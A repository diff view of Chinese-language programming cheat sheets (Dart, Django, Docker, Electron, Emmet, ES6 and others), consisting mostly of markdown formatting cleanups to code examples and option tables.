### 构造函数
```dart
class Cat {
String name;
Cat(this.name);
}
void main(){
Cat myCat = Cat("Kitty");
print(myCat.name); // 打印: Kitty
}
```
### 抽象类
```dart
// 抽象类——不能实例化的类
// 这个类被声明为抽象的,因此不能被实例化
abstract class AbstractContainer {
// 定义构造函数、字段、方法...
void updateChildren(); // 抽象方法
}
```
### Getters Setters
```dart
// 提供对对象属性的读写访问
class Cat {
String name;
// getter
String get catName {
return name;
}
// setter
void set catName(String name){
this.name = name;
}
}
```
隐式接口
------------
### 一个基本的界面
<!--rehype:wrap-class=col-span-2-->
```dart
// 一个人。隐式接口包含 greet()。
class Person {
// 在接口中,但仅在此库中可见。
final String _name;
// 不在接口中,因为这是一个构造函数。
Person(this._name);
// 在接口中
String greet(String who) => 'Hello, $who. I am $_name.';
}
// Person 接口的实现。
class Impostor implements Person {
String get _name => '';
String greet(String who) => 'Hi $who. Do you know who I am?';
}
String greetBob(Person person) => person.greet('Bob');
void main() {
print(greetBob(Person('Kathy')));
// 打印: Hello, Bob. I am Kathy.
print(greetBob(Impostor()));
// 打印: Hi Bob. Do you know who I am?
}
```
### 扩展类
```dart
class Phone {
void use(){
_call();
_sendMessage();
}
}
// 使用 extends 创建子类
class SmartPhone extends Phone {
void use(){
// 使用 super 来引用超类
super.use();
_takePhotos();
_playGames();
}
}
```
异常
-----
### Throw
```dart
// 抛出 throws 或引发 raises 和异常 exception
throw IntegerDivisionByZeroException();
// 你也可以抛出任意对象
throw "Product out of stock!";
```
### Catch
```dart
try {
int c = 3/0;
print(c);
} on IntegerDivisionByZeroException {
// 一个特定的异常
print('Can not divide integer by 0.')
} on Exception catch (e) {
// 任何其他异常情况
print('Unknown exception: $e');
} catch (e) {
// 没有指定类型,处理所有
print('Something really unknown: $e');
}
```
### Finally
```dart
// 确保某些代码无论是否抛出异常都能运行
try {
cookFood();
} catch (e) {
print('Error: $e'); // 先处理异常
} finally {
cleanKitchen(); // 然后清理
}
```
Futures
------------
### Async Await
```dart
// 异步函数:它们在设置可能耗时的操作后返回
// async 和 await 关键字支持异步编程
Future<String> login() {
String userName="Temidjoy";
return
Future.delayed(
Duration(seconds: 4), () => userName
);
}
// 异步
main() async {
print('Authenticating please wait...');
print(await userName());
}
```
各种各样的
------------
### Null 和 Null 感知
<!--rehype:wrap-class=col-span-2-->
```dart
int x; // 任何对象的初始值为 null
// ?? 空感知运算符
x ??=6; // ??= 赋值运算符,仅当变量当前为 null 时才为其赋值
print(x); // 打印: 6
x ??=3;
print(x); // 打印: 6 - 结果仍然是 6
print(null ?? 10); // 打印: 10。如果不为空则显示左侧的值否则返回右侧的值
```
### 三元运算符
```dart
// 条件 ? 条件如果为真 : 条件如果为假
bool isAvailable;
isAvailable ? orderproduct() : addToFavourite();
```
<!--rehype:className=wrap-text-->
### 条件属性访问
<!--rehype:wrap-class=col-span-2-->
```dart
userObject?.userName
// 上面的代码片段等效于以下代码:
(userObject != null) ? userObject.userName : null
// 您可以将 ? 的多种用途链接起来。一起在一个表达式中
userObject?.userName?.toString()
// 如果 userObject 或 userObject.userName 为 null则前面的代码返回 null 并且从不调用 toString()
```
### 级联符号 (..)
<!--rehype:wrap-class=row-span-2-->
```dart
// 允许您对同一对象进行一系列操作
// 而不是这样做
var user = User();
user.name = "Nicola";
user.email = "nicola@g.c";
user.age = 24;
// 你可以这样做
var user = User()
..name = "Nicola"
..email = "nicola@g.c"
..age = 24;
```
### 扩展运算符 (...)
```dart
// 将多个值插入到集合中
var list = [1, 2, 3];
var list2 = [0, ...list];
print(list2.length); // 打印: 4
```
另见
----
- [Dart 官方文档](https://dart.dev/) _(dart.dev)_

View File

@ -17,17 +17,20 @@ $ pip --version
```
<!--rehype:className=wrap-text -->
如果你没有安装 PIP你可以从这个页面下载并安装它https://pypi.org/project/pip/
如果你没有安装 PIP你可以从这个页面下载并安装它<https://pypi.org/project/pip/>
### 入门
<!--rehype:wrap-class=row-span-4-->
- 创建虚拟环境
```bash
$ py -m venv myproject # Windows
$ python -m venv myproject # Unix/MacOS
```
- 其中包含子文件夹和文件,如下所示
```bash
myproject
├┈Include
@ -35,21 +38,27 @@ $ pip --version
├┈Scripts
╰┈pyvenv.cfg
```
- 以下命令来激活环境
```bash
# Windows:
myproject\Scripts\activate.bat
# Unix/MacOS:
source myproject/bin/activate
```
- 提示符中看到以下结果:
```bash
# Windows:
(myproject) C:\Users\Your Name>
# Unix/MacOS:
(myproject) ... $
```
- 安装 Django
```bash
# Windows:
(myproject) C:\Users\Name>py -m pip install Django
@ -248,7 +257,7 @@ INSTALLED_APPS = [
]
```
然后运行这个命令:
然后运行这个命令:
```bash
$ py manage.py migrate
@ -417,7 +426,7 @@ def testing(request):
- `forloop.counter0` 当前循环,从 0 开始
- `forloop.first` 循环是否在其第一次循环中
- `forloop.last` 循环是否在其最后一次循环中
- `forloop.parentloop`
- `forloop.parentloop`
- `forloop.revcounter` 如果从末尾开始并向后计数,则以 1 结束
- `forloop.revcounter0` 如果从末尾开始并向后计数,则以 0 结束
@ -543,7 +552,7 @@ What is your name?{% endfilter %}
### 导入模板传入变量
`mymenu.html`:
`mymenu.html`:
```django
<div>HOME | {{ me }} | ABOUT | FORUM | {{ sponsor }}</div>
@ -762,9 +771,6 @@ function myFunction() {
```
<!--rehype:className=wrap-text -->
另见
----
@ -772,4 +778,4 @@ function myFunction() {
- [Django 教程](https://www.runoob.com/django/django-tutorial.html) _(runoob.com)_
- [Django 框架教程](http://c.biancheng.net/django/) _(biancheng.net)_
- [Django 4 中文教程](https://www.w3cschool.cn/django4/) _(w3cschool.cn)_
- [Django Tutorial](https://www.w3schools.com/django/index.php) _(w3schools.com)_
- [Django Tutorial](https://www.w3schools.com/django/index.php) _(w3schools.com)_

View File

@ -21,7 +21,6 @@ $ docker run -d -p 80:80 docker/getting-started
- `-p 80:80` - 将端口 80 映射到容器中的端口 80
- `docker/getting-started` - 要使用的镜像
在前台创建并运行容器
```shell
@ -86,7 +85,6 @@ Docker 容器
`docker stats nginx-server` | 容器资源使用
`docker diff nginx-server` | 列出对容器所做的更改
### 创建容器
```shell
@ -235,9 +233,9 @@ docker network create -d overlay \
| Docker 语法 | 说明 |
|------------|------|
`docker search search_word` | 在 docker hub 中搜索镜像。
`docker pull user/image ` | 从 docker hub 下载镜像。
`docker login ` | 向 docker hub 进行身份验证
`docker push user/image ` | 将镜像上传到 docker hub。
`docker pull user/image` | 从 docker hub 下载镜像。
`docker login` | 向 docker hub 进行身份验证
`docker push user/image` | 将镜像上传到 docker hub。
### 镜像仓库命令
<!--rehype:wrap-class=row-span-3-->
@ -359,8 +357,8 @@ $ docker volume prune
### docker 主要命令
:- | :-
:- | :-
:- | :-
:- | :-
`attach` | 将本地标准输入、输出和错误流附加到正在运行的容器
`build` | 从 Dockerfile 构建镜像
`commit` | 从容器的更改创建新图像
@ -527,8 +525,8 @@ $ docker volume prune
### docker 管理命令
<!--rehype:wrap-class=row-span-2-->
:- | :-
:- | :-
:- | :-
:- | :-
`docker builder` | 管理构建
`docker buildx*` | Docker BuildxDocker Inc.v0.7.1
`docker compose*` | Docker ComposeDocker Inc.v2.2.3
@ -625,8 +623,8 @@ $ docker run --name my-nginx \
```bash
$ docker run --name my-postgres \
-e POSTGRES_PASSWORD=mysecretpassword \
-e PGDATA=/var/lib/postgresql/data/pgdata \
-v $HOME/nginx/mount:/var/lib/postgresql/data \
-e PGDATA=/var/lib/postgresql/data/pgdata \
-v $HOME/nginx/mount:/var/lib/postgresql/data \
-d postgres
```
@ -662,4 +660,4 @@ $ docker run -d --name gitlab \
- [Dockerfile 备忘清单](./dockerfile.md) _(github.io)_
- [Docker 官方入门教程](https://docs.docker.com/get-started/) _(docker.com)_
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_

View File

@ -232,4 +232,4 @@ CMD ["/busybox", "httpd", "-f", "-v", "-p", "3000", "-c", "httpd.conf"]
- [Dockerfile reference](https://docs.docker.com/engine/reference/builder/) _(docker.com)_
- [Docker 备忘清单](./docker.md) _(github.io)_
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_

View File

@ -3,7 +3,6 @@ Electron 备忘清单
此快速参考备忘单提供了 Electron v21 API 说明和使用示例。
入门
----
@ -15,11 +14,14 @@ Electron 备忘清单
#### 创建你的应用程序
- 安装
```bash
mkdir my-app && cd my-app
npm init
```
在项目根目录会生成 `package.json`
```json
{
"name": "my-app",
@ -30,22 +32,30 @@ Electron 备忘清单
"license": "MIT"
}
```
- 安装依赖包
```bash
npm install --save-dev electron
```
- 添加开发模式打开您的应用命令
```js
"scripts": {
"start": "electron ."
}
```
- 运行命令,启动应用程序
```bash
npm start
```
入口都是 `main` 文件。这个文件控制了主进程它运行在一个完整的Node.js环境中
- 创建 `index.html` 页面
```html
<!DOCTYPE html>
<html>
@ -60,7 +70,9 @@ Electron 备忘清单
</body>
</html>
```
- 窗口中打开您的页面
```js
const {
app,
@ -385,8 +397,8 @@ BrowserWindow
`useContentSize` _boolean_ | _(宽)_ 和 _(高)_ 设置为web页面的尺寸。默认值 _(false)_
`center` _boolean_ | 窗口是否在屏幕居中。默认值 _(false)_
`minHeight` _整数_ | 窗口的最小高度。默认值 _(0)_
`maxWidth ` _整数_ | 窗口的最大宽度。默认值不限
`maxHeight ` _整数_ | 窗口的最大高度。默认值不限
`maxWidth` _整数_ | 窗口的最大宽度。默认值不限
`maxHeight` _整数_ | 窗口的最大高度。默认值不限
`resizable` _boolean_ | 窗口大小是否可调整。默认值 _(true)_
`movable` _boolean_ _(win/mac)_ | 窗口是否可移动。默认值 _(true)_
`minimizable` _boolean_ _(win/mac)_ | 窗口是否可最小化。默认值 _(true)_
@ -417,14 +429,14 @@ BrowserWindow
`transparent` _boolean_ | 使窗口 <a href="/zh/docs/latest/tutorial/window-customization#create-transparent-windows">透明</a>。 默认值 _(false)_. 在Windows上仅在无边框窗口下起作用。
`type` _string_ | 窗口的类型, 默认为普通窗口. 更多信息见下文
`visualEffectState` _string_ _(mac)_ | 在 macOS 上指定外观应如何响应窗口活动状态。 必须与 _(vibrancy)_ 属性一起使用。 可能的值有
` visualEffectState.followWindow` | 当窗口处于激活状态时,后台应自动显示为激活状态,当窗口处于非激活状态时,后台应自动显示为非激活状态。 默认为该值。
` visualEffectState.active` | 后台应一直显示为激活状态。
` visualEffectState.inactive` | 后台应一直显示为非激活状态。
`visualEffectState.followWindow` | 当窗口处于激活状态时,后台应自动显示为激活状态,当窗口处于非激活状态时,后台应自动显示为非激活状态。 默认为该值。
`visualEffectState.active` | 后台应一直显示为激活状态。
`visualEffectState.inactive` | 后台应一直显示为非激活状态。
`titleBarStyle` _string_ _(win/mac)_ | 窗口标题栏样式。默认值 _(default)_
` titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
` titleBarStyle.hidden` | 在一个隐藏的标题栏和一个全尺寸大小的内容窗口中取得结果。 在 macOS 内, 窗口将一直拥有位于左上的标准窗口控制器 _(“traffic lights”)_。 在 Windows上当与 _(titleBarOverlay: true)_ 合并时,它将激活窗口控件叠加(详情请参阅 _(titleBarOverlay)_),否则将不会显示窗口控件。
` titleBarStyle.hiddenInset` _(mac)_ | 隐藏标题栏,使用窗口边缘稍微小的红绿灯按钮替代。
` titleBarStyle.customButtonsOnHover` _(mac)_ | 隐藏的标题栏的全尺寸的内容窗口, 红绿灯按钮在鼠标悬停在窗口左上方时显示。**注意:**此选项目前是实验性的。
`titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
`titleBarStyle.hidden` | 在一个隐藏的标题栏和一个全尺寸大小的内容窗口中取得结果。 在 macOS 内, 窗口将一直拥有位于左上的标准窗口控制器 _(“traffic lights”)_。 在 Windows上当与 _(titleBarOverlay: true)_ 合并时,它将激活窗口控件叠加(详情请参阅 _(titleBarOverlay)_),否则将不会显示窗口控件。
`titleBarStyle.hiddenInset` _(mac)_ | 隐藏标题栏,使用窗口边缘稍微小的红绿灯按钮替代。
`titleBarStyle.customButtonsOnHover` _(mac)_ | 隐藏的标题栏的全尺寸的内容窗口, 红绿灯按钮在鼠标悬停在窗口左上方时显示。**注意:**此选项目前是实验性的。
`trafficLightPosition` _Point_ _(mac)_ | 在无边框窗口中设置灯绿灯按钮位置。
`roundedCorners` _boolean_ _(mac)_ | 无边框窗口在 macOS 上,是否应该有圆角。 默认值为 _(true)_。 属性设置为 _(false)_ ,将阻止窗口是可全屏的。
~~`fullscreenWindowTitle`~~ _boolean_ _(mac)_ ~~_已弃用_~~ | _titleBarStyle_ 设置为 _(hiddenInset)_ 时,在 macOS 全屏模式下标题栏显示标题。默认值为 _(false)_.
@ -433,34 +445,34 @@ BrowserWindow
`zoomToPageWidth` _boolean_ _(mac)_ | 在 macOS 上控制,当按住 option 点击工具栏绿色红绿灯按钮或点击窗口 &gt; 放大菜单项的行为。 如果为 _(true)_窗口为将会缩放到适合宽度若为 _(false)_ 将会放大到屏幕宽度。 这也会影响,直接调用 _(maximize())_ 的行为。 默认值为 _(false)_.
`tabbingIdentifier` _string_ _(mac)_ | 选项卡组名称允许在原生选择卡中打开窗口macOS 10.12+ 支持。 Windows 中,有相同选项卡标识的将会组合在一起。 这会添加一个原生新增选项卡按钮到你窗口的选项卡栏,同时 _(app)_ 和窗口允许接收 _(new-window-for-tab)_ 事件。
`webPreferences` _Object_ | 网页功能设置。
` webPreferences.devTools` _boolean_ | 是否开启 DevTools. 如果设置为 _(false)_, 则无法使用 _(BrowserWindow.webContents.openDevTools ())_ 打开 DevTools。 默认值为 _(true)_。
` webPreferences.nodeIntegration` _boolean_ | 是否启用Node integration. 默认值为 _(false)_.
` webPreferences.nodeIntegrationInWorker` _boolean_ | 是否在Web工作器中启用了Node集成. 默认值为 _(false)_. 更多内容参见 [多线程](https://www.electronjs.org/docs/latest/tutorial/multithreading)
` webPreferences.nodeIntegrationInSubFrames` _boolean_ **_实验性_**| 是否允许在子页面(iframe)或子窗口(child window)中集成Node.js 预先加载的脚本会被注入到每一个iframe你可以用 _(process.isMainFrame)_ 来判断当前是否处于主框架main frame中。
` webPreferences.preload` _string_ | 在页面运行其他脚本之前预先加载指定的脚本 无论页面是否集成Node, 此脚本都可以访问所有Node API 脚本路径为文件的绝对路径。 当 node integration 关闭时, 预加载的脚本将从全局范围重新引入node的全局引用标志[参考示例](https://www.electronjs.org/docs/latest/api/context-bridge#exposing-node-global-symbols)
` webPreferences.sandbox` _boolean_ | 如果设置该参数, 沙箱的渲染器将与窗口关联, 使它与Chromium OS-level 的沙箱兼容, 并禁用 Node. js 引擎。 它与 _(nodeIntegration)_ 的选项不同,且预加载脚本的 API 也有限制。[更多详情](https://www.electronjs.org/docs/latest/tutorial/sandbox)
` webPreferences.session` | [Session](https://www.electronjs.org/docs/latest/api/session#class-session) 设置页面的 session 而不是直接忽略 Session 对象, 也可用 _(partition)_ 选项来代替,它接受一个 partition 字符串. 同时设置了_(session)_ 和 _(partition)_时, _(session)_ 的优先级更高. 默认使用默认的 session.
` webPreferences.partition` | string (optional) - 通过 session 的 partition 字符串来设置界面session. 如果 _(partition)_ 以 _(persist:)_开头, 该页面将使用持续的 session并在所有页面生效且使用同一个_(partition)_. 如果没有 _(persist:)_ 前缀, 页面将使用 in-memory session. 通过分配相同的 _(partition)_, 多个页可以共享同一会话。 默认使用默认的 session.
` webPreferences.zoomFactor` _number_ | 页面的默认缩放系数, _(3.0)_ 表示 _(300%)_。 默认值为 _(1.0)_.
` webPreferences.javascript` _boolean_ | 是否启用 JavaScript 支持。 默认值为 _(true)_。
` webPreferences.webSecurity` _boolean_ | 当设置为 _(false)_, 它将禁用同源策略 (通常用来测试网站), 如果此选项不是由开发者设置的,还会把 _(allowRunningInsecureContent)_设置为 _(true)_. 默认值为 _(true)_
` webPreferences.allowRunningInsecureContent` _boolean_ | 允许一个 https 页面运行来自http url的JavaScript, CSS 或 plugins。 默认值为 _(false)_
` webPreferences.images` _boolean_ | 允许加载图片。 默认值为 _(true)_
` webPreferences.imageAnimationPolicy` _string_ | 指定如何运行图像动画 (比如: GIF等). 可以是 _(animate)_, _(animateOnce)_ 或 _(noAnimation)_。默认值为 _(animate)_
` webPreferences.textAreasAreResizable` _boolean_ | 允许调整 TextArea 元素大小。 默认值为 _(true)_
` webPreferences.webgl` _boolean_ | 启用 WebGL 支持。 默认值为 _(true)_
` webPreferences.plugins` _boolean_ | 是否应该启用插件。 默认值为 _(false)_
` webPreferences.experimentalFeatures` _boolean_ | 启用 Chromium 的实验功能。 默认值为 _(false)_
` webPreferences.scrollBounce` _boolean_ _(mac)_ | 启用滚动回弹(橡皮筋)效果。 默认值为 _(false)_
` webPreferences.enableBlinkFeatures`_string_ | 以 _(逗号)_ 分隔的需要启用的特性列表,譬如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
` webPreferences.disableBlinkFeatures` _string_ | 以 _(,)_ 分隔的禁用特性列表, 如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
`webPreferences.devTools` _boolean_ | 是否开启 DevTools. 如果设置为 _(false)_, 则无法使用 _(BrowserWindow.webContents.openDevTools ())_ 打开 DevTools。 默认值为 _(true)_。
`webPreferences.nodeIntegration` _boolean_ | 是否启用Node integration. 默认值为 _(false)_.
`webPreferences.nodeIntegrationInWorker` _boolean_ | 是否在Web工作器中启用了Node集成. 默认值为 _(false)_. 更多内容参见 [多线程](https://www.electronjs.org/docs/latest/tutorial/multithreading)
`webPreferences.nodeIntegrationInSubFrames` _boolean_ **_实验性_**| 是否允许在子页面(iframe)或子窗口(child window)中集成Node.js 预先加载的脚本会被注入到每一个iframe你可以用 _(process.isMainFrame)_ 来判断当前是否处于主框架main frame中。
`webPreferences.preload` _string_ | 在页面运行其他脚本之前预先加载指定的脚本 无论页面是否集成Node, 此脚本都可以访问所有Node API 脚本路径为文件的绝对路径。 当 node integration 关闭时, 预加载的脚本将从全局范围重新引入node的全局引用标志[参考示例](https://www.electronjs.org/docs/latest/api/context-bridge#exposing-node-global-symbols)
`webPreferences.sandbox` _boolean_ | 如果设置该参数, 沙箱的渲染器将与窗口关联, 使它与Chromium OS-level 的沙箱兼容, 并禁用 Node. js 引擎。 它与 _(nodeIntegration)_ 的选项不同,且预加载脚本的 API 也有限制。[更多详情](https://www.electronjs.org/docs/latest/tutorial/sandbox)
`webPreferences.session` | [Session](https://www.electronjs.org/docs/latest/api/session#class-session) 设置页面的 session 而不是直接忽略 Session 对象, 也可用 _(partition)_ 选项来代替,它接受一个 partition 字符串. 同时设置了_(session)_ 和 _(partition)_时, _(session)_ 的优先级更高. 默认使用默认的 session.
`webPreferences.partition` | string (optional) - 通过 session 的 partition 字符串来设置界面session. 如果 _(partition)_ 以 _(persist:)_开头, 该页面将使用持续的 session并在所有页面生效且使用同一个_(partition)_. 如果没有 _(persist:)_ 前缀, 页面将使用 in-memory session. 通过分配相同的 _(partition)_, 多个页可以共享同一会话。 默认使用默认的 session.
`webPreferences.zoomFactor` _number_ | 页面的默认缩放系数, _(3.0)_ 表示 _(300%)_。 默认值为 _(1.0)_.
`webPreferences.javascript` _boolean_ | 是否启用 JavaScript 支持。 默认值为 _(true)_。
`webPreferences.webSecurity` _boolean_ | 当设置为 _(false)_, 它将禁用同源策略 (通常用来测试网站), 如果此选项不是由开发者设置的,还会把 _(allowRunningInsecureContent)_设置为 _(true)_. 默认值为 _(true)_
`webPreferences.allowRunningInsecureContent` _boolean_ | 允许一个 https 页面运行来自http url的JavaScript, CSS 或 plugins。 默认值为 _(false)_
`webPreferences.images` _boolean_ | 允许加载图片。 默认值为 _(true)_
`webPreferences.imageAnimationPolicy` _string_ | 指定如何运行图像动画 (比如: GIF等). 可以是 _(animate)_, _(animateOnce)_ 或 _(noAnimation)_。默认值为 _(animate)_
`webPreferences.textAreasAreResizable` _boolean_ | 允许调整 TextArea 元素大小。 默认值为 _(true)_
`webPreferences.webgl` _boolean_ | 启用 WebGL 支持。 默认值为 _(true)_
`webPreferences.plugins` _boolean_ | 是否应该启用插件。 默认值为 _(false)_
`webPreferences.experimentalFeatures` _boolean_ | 启用 Chromium 的实验功能。 默认值为 _(false)_
`webPreferences.scrollBounce` _boolean_ _(mac)_ | 启用滚动回弹(橡皮筋)效果。 默认值为 _(false)_
`webPreferences.enableBlinkFeatures`_string_ | 以 _(逗号)_ 分隔的需要启用的特性列表,譬如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
`webPreferences.disableBlinkFeatures` _string_ | 以 _(,)_ 分隔的禁用特性列表, 如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
`defaultFontFamily` _Object_ | 为 font-family 设置默认字体
` defaultFontFamily.standard` _string_ |默认值为 _(Times New Roman)_
` defaultFontFamily.serif` _string_ | 默认值为 _(Times New Roman)_
` defaultFontFamily.sansSerif` _string_ | 默认值为 _(Arial)_
` defaultFontFamily.monospace` _string_ | 默认值为 _(Courier New)_
` defaultFontFamily.cursive` _string_ | 默认值为 _(Script)_
` defaultFontFamily.fantasy` _string_ | 默认值为 _(Impact)_
`defaultFontFamily.standard` _string_ |默认值为 _(Times New Roman)_
`defaultFontFamily.serif` _string_ | 默认值为 _(Times New Roman)_
`defaultFontFamily.sansSerif` _string_ | 默认值为 _(Arial)_
`defaultFontFamily.monospace` _string_ | 默认值为 _(Courier New)_
`defaultFontFamily.cursive` _string_ | 默认值为 _(Script)_
`defaultFontFamily.fantasy` _string_ | 默认值为 _(Impact)_
`defaultFontSize` _Integer_ | 默认值为 _(16)_
`defaultMonospaceFontSize` _Integer_ | 默认值为 _(13)_
`minimumFontSize` _Integer_ | 默认值为 _(0)_
@ -480,10 +492,10 @@ BrowserWindow
`spellcheck` _boolean_ | 是否启用内置拼写检查器。 默认值为 _(true)_
`enableWebSQL` _boolean_ | 是否启用 [WebSQL api](https://www.w3.org/TR/webdatabase/)。 默认值为 _(true)_
`v8CacheOptions` _string_ | 强制 blink 使用 v8 代码缓存策略。 可接受的值为:
` v8CacheOptions.none` | 禁用代码缓存
` v8CacheOptions.code` | 基于启发式代码缓存
` v8CacheOptions.bypassHeatCheck` | 绕过启发式代码缓存,但使用懒编译。
` v8CacheOptions.bypassHeatCheckAndEagerCompile` | 与上面相同,除了编译是及时的。 默认策略是 _(code)_
`v8CacheOptions.none` | 禁用代码缓存
`v8CacheOptions.code` | 基于启发式代码缓存
`v8CacheOptions.bypassHeatCheck` | 绕过启发式代码缓存,但使用懒编译。
`v8CacheOptions.bypassHeatCheckAndEagerCompile` | 与上面相同,除了编译是及时的。 默认策略是 _(code)_
`enablePreferredSizeMode` _boolean_ | 是否启用首选大小模式。 首选大小是包含文档布局所需的最小大小--无需滚动。 启用该属性将导致在首选大小发生变化时,在 _(WebContents)_ 上触发 _(preferred-size-changed)_ 事件。默认值为 _(false)_
`titleBarOverlay` _Object/Boolean_ | 当在 macOS 使用无框窗口结合 _(win.setWindowButtonVisibility(true))_ 或使用 _(titleBarStyle)_ 以便标准窗口控制 (在 macOS为 "traffic lights") 可见,此属性将启用 Window Controls Overlay [JavaScript APIs](https://github.com/WICG/window-controls-overlay/blob/main/explainer.md#javascript-apis) 和 [CSS Environment Variables](https://github.com/WICG/window-controls-overlay/blob/main/explainer.md#css-environment-variables)。指定 _(true)_ 将导致覆盖默认系统颜色。 默认值为 _(false)_
`color` _String_ _(win)_ | 启用窗口控制时覆盖面的 CSS 颜色 默认是系统颜色
@ -684,7 +696,6 @@ child.once('ready-to-show', () => {
`win.setTitleBarOverlay(options)` _(win)_ | 在已开启 Window Controls Overlay 的窗口上,此方法将更新标题栏叠加层的样式 [#](https://www.electronjs.org/zh/docs/latest/api/browser-window#winsettitlebaroverlayoptions-windows)
<!--rehype:className=style-list-->
### 静态方法
<!--rehype:wrap-class=col-span-3-->
@ -735,4 +746,4 @@ win.loadURL('https://github.com')
另见
---
- [Electron 备忘清单](https://simulatedgreg.github.io/electron-cheatsheet/) _(simulatedgreg.github.io)_
- [Electron 备忘清单](https://simulatedgreg.github.io/electron-cheatsheet/) _(simulatedgreg.github.io)_

View File

@ -133,7 +133,7 @@ $ emacs
<!--rehype:wrap-class=row-span-2-->
向后 | 向前 | 要杀死的实体
:- | :- | :-
:- | :- | :-
`DEL` | `C-d` | 字符 <br>_(删除)_
`M-DEL` | `M-d` | 单词
`M-0` `C-k` | `C-k` | 行 <br/> _(到结尾)_
@ -522,5 +522,3 @@ With prefix argument LINE, put point on LINE."
0
(prefix-numeric-value line))))
```

View File

@ -3,7 +3,6 @@ Emmet 备忘清单
[Emmet](https://emmet.io/) 是一个用于提升 [HTML](./html.md) 和 CSS 代码编写的 Web 开发人员工具包,它允许您使用著名的 CSS 选择器以光速编写大型 HTML 代码块。
Emmet 语法
---------------
@ -16,7 +15,6 @@ Emmet 语法
- [Emmet for Coda](https://emmet.io/download/coda/) _(emmet.io)_
- [Emmet for Atom](https://github.com/emmetio/emmet-atom#readme) _(github.com)_
### 乘法:*
`ul>li*5`
@ -81,7 +79,7 @@ p>{Click }+a{here}+{ 继续}
### ID 和 CLASS 属性
<!--rehype:wrap-class=row-span-2-->
#header
\# header
```html
<div id="header"></div>
@ -199,7 +197,6 @@ ul>li.item$@2*3
</ul>
```
### 上一层: ^
div+div>p>span+em^bq
@ -793,7 +790,6 @@ select
select:disabled, select:d 别名 select[disabled.]
```html
<select name="" id="" disabled="disabled"></select>
```
@ -1162,7 +1158,7 @@ html:4s 别名 !!!4s+doc4[lang=${lang}]
```
<!--rehype:className=wrap-text -->
html:xt 别名 !!!xt+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
html:xt 别名 !!!xt+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
<!--rehype:className=wrap-text -->
```html
@ -1179,7 +1175,7 @@ html:xt 别名 !!!xt+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
```
<!--rehype:className=wrap-text -->
html:xs 别名 !!!xs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
html:xs 别名 !!!xs+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
@ -1195,7 +1191,7 @@ html:xs 别名 !!!xs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
```
<!--rehype:className=wrap-text -->
html:xxs 别名 !!!xxs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
html:xxs 别名 !!!xxs+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
@ -1968,6 +1964,7 @@ CSS
font-weight: normal;
}
```
#### @i, @import
```css
@ -2057,7 +2054,7 @@ CSS
`bfv:h` | backface-visibility:hidden;
`bfv:v` | backface-visibility:visible;
`bg:ie` | filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='x.png',sizingMethod='crop');
`cm` | /* ${child} */
`cm` | /\* ${child} */
`colm` | columns:;
`colmc` | column-count:;
`colmf` | column-fill:;
@ -2068,7 +2065,7 @@ CSS
`colmrw` | column-rule-width:;
`colms` | column-span:;
`colmw` | column-width:;
`d:ib+` | display: inline-block;<br /> *display: inline;<br /> *zoom: 1;
`d:ib+` | display: inline-block;<br /> *display: inline;<br />*zoom: 1;
`jc` | justify-content:;
`jc:c` | justify-content:center;
`jc:fe` | justify-content:flex-end;
@ -2384,7 +2381,7 @@ choose+ A别名 xsl:choose>xsl:when+xsl:otherwise
</xsl:choose>
```
xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=http://www.w3.org/1999/XSL/Transform]>{ | }
xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=<http://www.w3.org/1999/XSL/Transform>]>{ | }
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -2401,4 +2398,4 @@ xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=http://www.w3.org/1999/XSL/T
另见
--------
* [Emmet Cheat sheet](https://docs.emmet.io/cheat-sheet/) _(docs.emmet.io)_
- [Emmet Cheat sheet](https://docs.emmet.io/cheat-sheet/) _(docs.emmet.io)_

View File

@ -149,7 +149,6 @@ class Circle extends Shape {
原型的语法糖。
请参阅: [类](https://babeljs.io/learn-es2015/#classes)
Promises
--------
@ -237,7 +236,9 @@ let {title, author} = {
const scores = [22, 33]
const [math = 50, sci = 50, arts = 50] = scores
```
----
```js
// Result:
// math === 22, sci === 33, arts === 50
@ -252,7 +253,9 @@ function greet({ name, greeting }) {
console.log(`${greeting}, ${name}!`)
}
```
----
```js
greet({ name: 'Larry', greeting: 'Ahoy' })
```
@ -266,7 +269,9 @@ function greet({ name = 'Rauno' } = {}) {
